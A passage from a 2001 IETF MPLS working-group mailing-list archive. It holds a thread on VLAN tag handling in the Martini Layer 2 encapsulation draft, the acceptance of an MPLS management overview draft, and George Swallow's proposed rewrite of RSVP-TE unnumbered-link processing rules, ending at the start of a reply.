	for <mpls-archive@lists.ietf.org>; Tue, 23 Oct 2001 14:53:07 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmad10522;
	Tue, 23 Oct 2001 18:49:07 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmad23468
	for mpls-outgoing; Tue, 23 Oct 2001 18:48:49 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlmad23460
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 23 Oct 2001 18:48:47 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlmad17465
	for <mpls@uu.net>; Tue, 23 Oct 2001 18:48:03 GMT
Received: from funnel.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlmad04242
	for <mpls@uu.net>; Tue, 23 Oct 2001 18:48:20 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id OAA22142 for <mpls@uu.net>; Tue, 23 Oct 2001 14:48:02 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id OAA26686 for mpls@uu.net; Tue, 23 Oct 2001 14:48:01 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlmad23291
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 23 Oct 2001 18:46:35 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlmad24910
	for <mpls@UU.NET>; Tue, 23 Oct 2001 18:45:44 GMT
Received: from sj-msg-core-4.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-4.cisco.com [171.71.163.10])
	id QQlmad22068
	for <mpls@UU.NET>; Tue, 23 Oct 2001 18:46:02 GMT
Received: from mira-sjcd-1.cisco.com (mira-sjcd-1.cisco.com [171.69.43.44])
	by sj-msg-core-4.cisco.com (8.11.3/8.9.1) with ESMTP id f9NIjUm06593;
	Tue, 23 Oct 2001 11:45:30 -0700 (PDT)
Received: from mwuw2k (sjc-vpn1-808.cisco.com [10.21.99.40])
	by mira-sjcd-1.cisco.com (Mirapoint)
	with SMTP id AAZ20137;
	Tue, 23 Oct 2001 11:45:06 -0700 (PDT)
Reply-To: <mwu@cisco.com>
From: "Michael Wu" <mwu@cisco.com>
To: "Anoop Ghanwani" <anoop@lanterncom.com>, "Amir Shatil" <shatil@cwnt.com>,
        <mpls@UU.NET>, <ppvpn@zephion.net>
Subject: RE: ppvpn some VLAN clarifications
Date: Tue, 23 Oct 2001 11:42:45 -0700
Message-ID: <IDEOKDKAJNIPNGPGJMCOCEBIDOAA.mwu@cisco.com>
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0031_01C15BB7.D54869C0"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <58BE468BAC66D511AFE6000347251A2D539593@morpheus.lanterncom.com>
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Importance: Normal
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_0031_01C15BB7.D54869C0
Content-Type: text/plain;
	charset="windows-1255"
Content-Transfer-Encoding: 8bit


  -----Original Message-----
  From: Anoop Ghanwani [mailto:anoop@lanterncom.com]
  Sent: Tuesday, October 23, 2001 11:07 AM
  To: 'mwu@cisco.com'; Amir Shatil; mpls@UU.NET; ppvpn@zephion.net
  Subject: RE: ppvpn some VLAN clarifications



  See below for comments.
    -----Original Message-----
    From: Michael Wu [mailto:mwu@cisco.com]
    Sent: Tuesday, October 23, 2001 9:01 AM
    To: Amir Shatil; mpls@UU.NET; ppvpn@zephion.net
    Subject: RE: ppvpn some VLAN clarifications



      -----Original Message-----
      From: owner-ppvpn@cthulu.dc1.dca57.zephion.net
[mailto:owner-ppvpn@cthulu.dc1.dca57.zephion.net]On Behalf Of Amir Shatil
      Sent: Tuesday, October 23, 2001 8:34 AM
      To: mpls@uu.net; ppvpn@zephion.net
      Subject: ppvpn some VLAN clarifications


Hi
few Questions about draft-martini-l2circuit-encap-mpls-03.txt:
1. In section 4.3 it is stated (about the VLAN tag) “…and MAY be overwritten
by the egress router.”
What are the cases in which this might happen?
>> So the SP doesn't need to have same vlan id at both ends. But this will
prevent STP working
   correctly unless the PE can modify the STP message accordingly.  [Anoop
Ghanwani]  STP doesn't use the VLAN ID.  In 802.1Q, all VLANs use the same
spanning
tree.  Besides I don't think the draft is trying to support bridging.  It
just provides point-to-point Ethernet link.
Ooops. Anoop you are right. The STP is not a good example. I should have
said any
application the carried vlan id similar to NAT...
The draft doesn't disallow the PE to support bridging locally. The WAN/MPLS
side
is p2p between two PEs for a given vlan/internet. The PE can setup multiple
p2p with
more than one PE and bridge them locally. The draft focuses on the
transport/encapsulation.
It is up to the application to use the p2p connection.
Michael
In this  case, does the VLAN tag lose its original meaning and functions
only as a VC ID (more like a DLCI in F/R)?
2. Is the reason for carrying the ethernet VLAN L2 encapsulation (section
4.3 "For an Ethernet 802.1q VLAN the entire Ethernet frame without the
   preamble or FCS is transported as a single packet") is only to preserve
the original SA & DA ?
>> 802.1p will be preserved as well.
Michael
Thanks
Amir.




------=_NextPart_000_0031_01C15BB7.D54869C0
Content-Type: text/html;
	charset="windows-1255"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Dwindows-1255">
<META content=3D"MSHTML 6.00.2600.0" name=3DGENERATOR></HEAD>
<BODY>
<DIV><FONT face=3DCourier color=3D#008080 size=3D2></FONT>&nbsp;</DIV>
<BLOCKQUOTE dir=3Dltr style=3D"MARGIN-RIGHT: 0px">
  <DIV class=3DOutlookMessageHeader dir=3Dltr align=3Dleft><FONT =
face=3DTahoma=20
  size=3D2>-----Original Message-----<BR><B>From:</B> Anoop Ghanwani=20
  [mailto:anoop@lanterncom.com]<BR><B>Sent:</B> Tuesday, October 23, =
2001 11:07=20
  AM<BR><B>To:</B> 'mwu@cisco.com'; Amir Shatil; mpls@UU.NET;=20
  ppvpn@zephion.net<BR><B>Subject:</B> RE: ppvpn some VLAN=20
  clarifications<BR><BR></FONT></DIV>
  <DIV><FONT color=3D#0000ff size=3D2></FONT>&nbsp;</DIV>
  <DIV><SPAN class=3D571111618-23102001><FONT color=3D#0000ff =
size=3D2>See below for=20
  comments.</FONT></SPAN></DIV>
  <BLOCKQUOTE dir=3Dltr=20
  style=3D"PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px =
solid; MARGIN-RIGHT: 0px">
    <DIV class=3DOutlookMessageHeader dir=3Dltr align=3Dleft><FONT =
face=3DTahoma=20
    size=3D2>-----Original Message-----<BR><B>From:</B> Michael Wu=20
    [mailto:mwu@cisco.com]<BR><B>Sent:</B> Tuesday, October 23, 2001 =
9:01=20
    AM<BR><B>To:</B> Amir Shatil; mpls@UU.NET;=20
    ppvpn@zephion.net<BR><B>Subject:</B> RE: ppvpn some VLAN=20
    clarifications<BR><BR></FONT></DIV>
    <DIV><FONT face=3DCourier color=3D#008080 =
size=3D2></FONT>&nbsp;</DIV>
    <BLOCKQUOTE dir=3Dltr style=3D"MARGIN-RIGHT: 0px">
      <DIV class=3DOutlookMessageHeader dir=3Dltr align=3Dleft><FONT =
face=3DTahoma=20
      size=3D2>-----Original Message-----<BR><B>From:</B>=20
      owner-ppvpn@cthulu.dc1.dca57.zephion.net=20
      [mailto:owner-ppvpn@cthulu.dc1.dca57.zephion.net]<B>On Behalf Of =
</B>Amir=20
      Shatil<BR><B>Sent:</B> Tuesday, October 23, 2001 8:34 =
AM<BR><B>To:</B>=20
      mpls@uu.net; ppvpn@zephion.net<BR><B>Subject:</B> ppvpn some VLAN=20
      clarifications<BR><BR></FONT></DIV>
      <DIV><PRE><SPAN =
class=3D268132415-23102001>Hi</SPAN></PRE><PRE><SPAN =
class=3D268132415-23102001></SPAN><SPAN class=3D268132415-23102001>few =
Questions about draft-martini-l2circuit-encap-mpls-03.txt:</SPAN> =
</PRE><PRE class=3DMsoNormal style=3D"DIRECTION: ltr; unicode-bidi: =
embed; TEXT-ALIGN: left"><SPAN class=3D268132415-23102001>1. </SPAN>In =
section 4.3 it is stated (about the VLAN tag) =93=85and MAY be =
overwritten by the egress router.=94</PRE><PRE class=3DMsoNormal =
style=3D"DIRECTION: ltr; unicode-bidi: embed; TEXT-ALIGN: left">What are =
the cases in which this might happen?<SPAN =
class=3D170085515-23102001><FONT face=3DCourier color=3D#008080 =
size=3D2>&nbsp;</FONT></SPAN></PRE><PRE class=3DMsoNormal =
style=3D"DIRECTION: ltr; unicode-bidi: embed; TEXT-ALIGN: left"><SPAN =
class=3D170085515-23102001><FONT face=3DCourier color=3D#008080 =
size=3D2>&gt;&gt; So the SP doesn't need to have same vlan id at both =
ends. But this will prevent STP working</FONT></SPAN></PRE><PRE =
class=3DMsoNormal style=3D"DIRECTION: ltr; unicode-bidi: embed; =
TEXT-ALIGN: left"><SPAN class=3D170085515-23102001><FONT face=3DCourier =
color=3D#008080 size=3D2>   correctly unless the PE can modify the STP =
message accordingly.</FONT>&nbsp;<BR><SPAN =
class=3D571111618-23102001><FONT face=3DArial color=3D#0000ff =
size=3D2>&nbsp;</FONT></SPAN><BR><SPAN class=3D571111618-23102001><FONT =
face=3DArial color=3D#0000ff size=3D2>[Anoop Ghanwani]&nbsp;&nbsp;STP =
doesn't use the VLAN ID.  In 802.1Q, all VLANs use the same =
spanning</FONT></SPAN></SPAN></PRE><PRE class=3DMsoNormal =
style=3D"DIRECTION: ltr; unicode-bidi: embed; TEXT-ALIGN: left"><FONT =
size=3D2><SPAN class=3D170085515-23102001><SPAN =
class=3D571111618-23102001><FONT face=3DArial color=3D#0000ff>tree.  =
Besides I don't think the </FONT></SPAN></SPAN><SPAN =
class=3D170085515-23102001><SPAN class=3D571111618-23102001><FONT =
face=3DArial color=3D#0000ff>draft is trying to support bridging.  It =
just provides point-to-point Ethernet link.<SPAN =
class=3D592473218-23102001><FONT face=3DCourier =
color=3D#008080>&nbsp;</FONT></SPAN></FONT></SPAN></SPAN></FONT></PRE><PR=
E class=3DMsoNormal style=3D"DIRECTION: ltr; unicode-bidi: embed; =
TEXT-ALIGN: left"><FONT size=3D2><SPAN class=3D170085515-23102001><SPAN =
class=3D571111618-23102001><FONT face=3DArial color=3D#0000ff><SPAN =
class=3D592473218-23102001><FONT face=3DCourier color=3D#008080>Ooops. =
Anoop you are right. The STP is not a good example. I should have said =
any</FONT></SPAN></FONT></SPAN></SPAN></FONT></PRE><PRE =
class=3DMsoNormal style=3D"DIRECTION: ltr; unicode-bidi: embed; =
TEXT-ALIGN: left"><FONT size=3D2><SPAN class=3D170085515-23102001><SPAN =
class=3D571111618-23102001><FONT face=3DArial color=3D#0000ff><SPAN =
class=3D592473218-23102001><FONT face=3DCourier =
color=3D#008080>application the carried vlan id similar to =
NAT...</FONT></SPAN></FONT></SPAN></SPAN></FONT></PRE><PRE =
class=3DMsoNormal style=3D"DIRECTION: ltr; unicode-bidi: embed; =
TEXT-ALIGN: left"><FONT size=3D2><SPAN class=3D170085515-23102001><SPAN =
class=3D571111618-23102001><FONT face=3DArial color=3D#0000ff><SPAN =
class=3D592473218-23102001><FONT face=3DCourier color=3D#008080>The =
draft doesn't disallow the PE to support bridging locally. The WAN/MPLS =
side</FONT></SPAN></FONT></SPAN></SPAN></FONT></PRE><PRE =
class=3DMsoNormal style=3D"DIRECTION: ltr; unicode-bidi: embed; =
TEXT-ALIGN: left"><FONT size=3D2><SPAN class=3D170085515-23102001><SPAN =
class=3D571111618-23102001><FONT face=3DArial color=3D#0000ff><SPAN =
class=3D592473218-23102001><FONT face=3DCourier color=3D#008080>is p2p =
between two PEs for a given vlan/internet. The PE can setup multiple p2p =
with</FONT></SPAN></FONT></SPAN></SPAN></FONT></PRE><PRE =
class=3DMsoNormal style=3D"DIRECTION: ltr; unicode-bidi: embed; =
TEXT-ALIGN: left"><FONT size=3D2><SPAN class=3D170085515-23102001><SPAN =
class=3D571111618-23102001><FONT face=3DCourier color=3D#008080><SPAN =
class=3D592473218-23102001>more than one PE and bridge them locally. The =
draft focuses on the =
transport/encapsulation.</SPAN></FONT></SPAN></SPAN></FONT></PRE><PRE =
class=3DMsoNormal style=3D"DIRECTION: ltr; unicode-bidi: embed; =
TEXT-ALIGN: left"><FONT size=3D2><SPAN class=3D170085515-23102001><SPAN =
class=3D571111618-23102001><FONT face=3DCourier color=3D#008080><SPAN =
class=3D592473218-23102001>It is up to the application to use the p2p =
connection.</SPAN></FONT></SPAN></SPAN></FONT></PRE><PRE =
class=3DMsoNormal style=3D"DIRECTION: ltr; unicode-bidi: embed; =
TEXT-ALIGN: left"><FONT size=3D2><SPAN class=3D170085515-23102001><SPAN =
class=3D571111618-23102001><FONT face=3DCourier color=3D#008080><SPAN =
class=3D592473218-23102001>Michael</SPAN></FONT></SPAN></SPAN></FONT></PR=
E><PRE class=3DMsoNormal style=3D"DIRECTION: ltr; unicode-bidi: embed; =
TEXT-ALIGN: left">In this <SPAN =
class=3D592473218-23102001>&nbsp;</SPAN>case, does the VLAN tag lose its =
original meaning and functions only as a VC ID (more like a DLCI in =
F/R)? </PRE><PRE class=3DMsoNormal style=3D"DIRECTION: ltr; =
unicode-bidi: embed; TEXT-ALIGN: left"><SPAN =
class=3D268132415-23102001>2. Is the reason for carrying the ethernet =
VLAN L2 encapsulation (section 4.3 "For an Ethernet 802.1q VLAN the =
entire Ethernet frame without the
   preamble or FCS is transported as a single packet") is only to =
preserve the original SA &amp; DA ?<SPAN =
class=3D170085515-23102001><FONT face=3DCourier color=3D#008080 =
size=3D2>&nbsp;</FONT></SPAN></SPAN></PRE><PRE class=3DMsoNormal =
style=3D"DIRECTION: ltr; unicode-bidi: embed; TEXT-ALIGN: left"><SPAN =
class=3D268132415-23102001><SPAN class=3D170085515-23102001><FONT =
face=3DCourier color=3D#008080 size=3D2>&gt;&gt; 802.1p will be =
preserved as well.</FONT></SPAN></SPAN></PRE><PRE class=3DMsoNormal =
style=3D"DIRECTION: ltr; unicode-bidi: embed; TEXT-ALIGN: left"><SPAN =
class=3D268132415-23102001><SPAN class=3D170085515-23102001><FONT =
face=3DCourier color=3D#008080 =
size=3D2>Michael</FONT>&nbsp;</SPAN></SPAN></PRE><PRE class=3DMsoNormal =
style=3D"DIRECTION: ltr; unicode-bidi: embed; TEXT-ALIGN: left"><SPAN =
class=3D268132415-23102001>Thanks</SPAN></PRE><PRE class=3DMsoNormal =
style=3D"DIRECTION: ltr; unicode-bidi: embed; TEXT-ALIGN: left"><SPAN =
class=3D268132415-23102001>Amir.</SPAN></PRE></DIV>
      <DIV class=3DSection1>
      <P class=3DMsoNormal><FONT color=3D#0000ff =
size=3D2></FONT>&nbsp;</P></DIV>
      <DIV><FONT color=3D#0000ff=20
size=3D2></FONT>&nbsp;</DIV></BLOCKQUOTE></BLOCKQUOTE></BLOCKQUOTE></BODY=
></HTML>

------=_NextPart_000_0031_01C15BB7.D54869C0--



From owner-mpls@UU.NET  Tue Oct 23 16:40:30 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA19328
	for <mpls-archive@lists.ietf.org>; Tue, 23 Oct 2001 16:40:29 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmak15802;
	Tue, 23 Oct 2001 20:38:55 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmak11027
	for mpls-outgoing; Tue, 23 Oct 2001 20:38:19 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlmak11022
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 23 Oct 2001 20:38:13 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlmak25111
	for <mpls@uu.net>; Tue, 23 Oct 2001 20:38:03 GMT
Received: from funnel.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlmak21620
	for <mpls@uu.net>; Tue, 23 Oct 2001 20:37:53 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id QAA07580 for <mpls@uu.net>; Tue, 23 Oct 2001 16:38:01 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id QAA01970 for mpls@uu.net; Tue, 23 Oct 2001 16:38:01 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlmak10996
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 23 Oct 2001 20:37:35 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlmak20844
	for <mpls@UU.NET>; Tue, 23 Oct 2001 20:36:59 GMT
Received: from funnel.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlmak20015
	for <mpls@UU.NET>; Tue, 23 Oct 2001 20:36:49 GMT
Received: from telescope.cisco.com (telescope.cisco.com [161.44.166.204]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id QAA07332; Tue, 23 Oct 2001 16:36:39 -0400 (EDT)
Received: from localhost (swallow@localhost) by telescope.cisco.com (8.8.5-Cisco.1/CISCO.WS.1.2) with ESMTP id QAA16135; Tue, 23 Oct 2001 16:36:38 -0400 (EDT)
Message-Id: <200110232036.QAA16135@telescope.cisco.com>
X-Authentication-Warning: telescope.cisco.com: swallow owned process doing -bs
To: Dimitri Papadimitriou <dimitri.papadimitriou@alcatel.be>
cc: Thomas Nadeau <tnadeau@cisco.com>, mpls@UU.NET,
        "Wijnen,
    Bert (Bert)" <bwijnen@lucent.com>,
        Scott Bradner <sob@harvard.edu>, Rob Coltun <rcoltun@redback.com>,
        abha ahuja <ahuja@umich.edu>, George Swallow <swallow@cisco.com>,
        Vijay Srinivasan <vijay@cosinecom.com>, cheenu@alphion.com,
        afarrel@movaz.com, swallow@cisco.com
Subject: Re: draft-nadeau-mpls-mgmt-overview-00.txt 
In-reply-to: Your message of "Wed, 17 Oct 2001 21:39:10 +0200."
             <3BCDDE5E.BF933EA8@alcatel.be> 
Date: Tue, 23 Oct 2001 16:36:38 -0400
From: George Swallow <swallow@cisco.com>
Sender: owner-mpls@UU.NET
Precedence: bulk

Given that many have supported the idea and none have opposed, the
above draft is accepted as a work group draft.

...George

==================================================================
George Swallow       Cisco Systems                   (978) 244-8143
                     250 Apollo Drive
                     Chelmsford, Ma 01824



From owner-mpls@UU.NET  Tue Oct 23 18:02:45 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA21380
	for <mpls-archive@lists.ietf.org>; Tue, 23 Oct 2001 18:02:44 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmaq02500;
	Tue, 23 Oct 2001 22:00:37 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmap07041
	for mpls-outgoing; Tue, 23 Oct 2001 21:59:59 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlmap07036
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 23 Oct 2001 21:59:58 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlmap25346
	for <mpls@uu.net>; Tue, 23 Oct 2001 21:59:02 GMT
Received: from funnel.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlmap13516
	for <mpls@uu.net>; Tue, 23 Oct 2001 21:58:53 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id RAA16660 for <mpls@uu.net>; Tue, 23 Oct 2001 17:59:02 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id RAA05755 for mpls@uu.net; Tue, 23 Oct 2001 17:59:02 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlmap06714
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 23 Oct 2001 21:58:34 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlmap06835
	for <mpls@uu.net>; Tue, 23 Oct 2001 21:58:22 GMT
Received: from funnel.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlmap12416
	for <mpls@uu.net>; Tue, 23 Oct 2001 21:58:12 GMT
Received: from telescope.cisco.com (telescope.cisco.com [161.44.166.204]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id RAA16601; Tue, 23 Oct 2001 17:58:21 -0400 (EDT)
Received: from localhost (swallow@localhost) by telescope.cisco.com (8.8.5-Cisco.1/CISCO.WS.1.2) with ESMTP id RAA10592; Tue, 23 Oct 2001 17:16:55 -0400 (EDT)
Message-Id: <200110232116.RAA10592@telescope.cisco.com>
X-Authentication-Warning: telescope.cisco.com: swallow owned process doing -bs
To: yakov@juniper.net, kireeti@juniper.net
Cc: mpls@UU.NET
Subject: Simplification for UNNUM draft.
Date: Tue, 23 Oct 2001 17:16:55 -0400
From: George Swallow <swallow@cisco.com>
Sender: owner-mpls@UU.NET
Precedence: bulk

draft-ietf-mpls-rsvp-unnum-02.txt allows both the normal HOP and the
IF_ID Hop object to be used on an unnumbered link.  This leads to
unnecessary cases and extra checking at the incoming interface.

I suggest the following modifications:

a) mandate that one always use the IF_ID HOP object on an unnumbered
   link.

b) pop the unnumbered interface subobject off of the ERO before
   forwarding the Path message over the unnumbered link (the
   information is now in the PHOP

I've updated the text in sections 6.1 and 6.2 to reflect the changed
procedures.  If it looks a bit complicated it's only because I was
explicit about the interactions with the processing rules of [RSVP-TE]
where the current draft is underspecified.

Comments?

...George

======================================================================

6.1. Processing the Unnumbered Interface ID Subobject

   The Unnumbered Interface ID Subobject is related to the IF_ID
   RSVP_HOP object as follows.  Under normal (unerrored) processing,
   an Unnumbered Interface ID Subobject is removed from the ERO by the
   node who's router ID is contained in the object.  The link
   specified in that object is communicated to the following node by
   means of the IF_ID RSVP_HOP object.  The IF_ID RSVP_HOP object in the
   Path message MUST contain the same Router ID (IP Address) and
   IF_INDEX as carried in the Unnumbered Interface ID subobject.  

6.1.1.  ERO processing

   The ERO processing rules of [RSVP-TE] apply with the following
   exceptions.  In step 2 of section 4.3.4.1 if the first object is an
   Unnumbered Interface ID subobject and the node is also part of the
   second object abstract node and that node is loose, then a copy of
   the first object is saved for use in step 5b before it is deleted
   from the ERO.

   In step 4, if the first subobject is an Unnumbered Interface ID
   subobject the determination of topological adjacency is limited to
   the interface specified in the first object.

   In step 5, if the first object is loose but the previous object
   (saved as a result of step 2 above) is an Unnumbered Interface ID
   object, then the selection of the next hop is determined by the
   saved object.  

   In step 5b if the first object is an Unnumbered Interface ID
   subobject, then the selection of the next hop is determined by the
   saved object.

6.1.2.  Determination of the next hop

   The next hop is determined as follows.  The
   Interface ID in the subobject MUST refer to an outgoing interface
   identifier that this node allocated; if not, the LSR SHOULD return
   a "Bad EXPLICIT_ROUTE object" error. The next hop is the LSR at the
   other end of the link that the Interface ID refers to. If this is
   the LSR itself, the subobject is removed, and the process
   repeated. If the next hop is some other LSR, then this is the next
   hop to which a Path message must be sent.

6.1.3.  Forwarding the Path message

   When sending a Path message to the next hop, the IF_ID RSVP_HOP
   object MUST be used.  This object MUST contain the IF_INDEX TLV,
   with IP Address in that TLV set to the LSR's Router ID, and
   Interface ID set to the Interface ID carried which was carried in
   the Unnumbered Interface subobject.

6.2.  Processing the IF_ID RSVP_HOP object

   When a Path message is received containing the IF_ID RSVP_HOP
   object with the IF_INDEX TLV, the following processing rules apply.

   The LSR checks whether the tuple <Router ID, Interface ID> from the
   Unnumbered Interface subobject matches the tuple <Router ID,
   Forward Interface ID> of any of the LSPs for which the LSR is a
   tail-end. If a match is found, the match identifies the Forwarding
   Adjacency for which the LSR has to perform label allocation.

   Otherwise, the LSR MUST check whether the tuple <Router ID, Interface
   ID> from the Unnumbered Interface subobject matches the tuple <Router
   ID, Reverse Interface ID> of any of the bidirectional LSPs for which
   the LSR is the head-end. If a match is found, the match identifies
   the Forwarding Adjacency for which the LSR has to perform label
   allocation, namely, the reverse Forwarding Adjacency for the LSP
   identified by the match.

   Otherwise, the LSR must have information about the identifiers
   assigned by its neighbors to the unnumbered links (i.e., incoming
   interface identifiers from LSR's point of view). The LSR uses this
   information to find a link with tuple <Router ID, incoming interface
   identifier> matching the tuple <Router ID, Interface ID> from the
   Unnumbered Interface subobject. If the matching tuple is found, and
   the link is not a bundled link, the match identifies the link for
   which the LSR has to perform label allocation. If the matching tuple
   is found, and the link is a bundled link, the LSR follows the
   procedures for label allocation as described in [LINK-BUNDLE].

   Otherwise, the LSR SHOULD return a "Bad initial subobject" error.


======================================================================
George Swallow       Cisco Systems                   (978) 244-8143
                     250 Apollo Drive
                     Chelmsford, Ma 01824





From owner-mpls@UU.NET  Tue Oct 23 19:37:20 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA22819
	for <mpls-archive@lists.ietf.org>; Tue, 23 Oct 2001 19:37:20 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmaw10386;
	Tue, 23 Oct 2001 23:36:07 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmaw23168
	for mpls-outgoing; Tue, 23 Oct 2001 23:35:33 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlmaw23163
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 23 Oct 2001 23:35:32 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlmaw05556
	for <mpls@uu.net>; Tue, 23 Oct 2001 23:34:59 GMT
Received: from merlot.juniper.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: natint.juniper.net [207.17.136.129])
	id QQlmaw09015
	for <mpls@uu.net>; Tue, 23 Oct 2001 23:35:17 GMT
Received: from juniper.net (garnet.juniper.net [172.17.28.17])
	by merlot.juniper.net (8.11.3/8.11.3) with ESMTP id f9NNYp026115;
	Tue, 23 Oct 2001 16:34:51 -0700 (PDT)
	(envelope-from yakov@juniper.net)
Message-Id: <200110232334.f9NNYp026115@merlot.juniper.net>
To: George Swallow <swallow@cisco.com>
cc: mpls@UU.NET
Subject: Re: Simplification for UNNUM draft. 
In-Reply-To: Your message of "Tue, 23 Oct 2001 17:16:55 EDT."
             <200110232116.RAA10592@telescope.cisco.com> 
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-ID: <68622.1003880091.1@juniper.net>
Date: Tue, 23 Oct 2001 16:34:51 -0700
From: Yakov Rekhter <yakov@juniper.net>
Sender: owner-mpls@UU.NET
Precedence: bulk

George,

> draft-ietf-mpls-rsvp-unnum-02.txt allows both the normal HOP and the
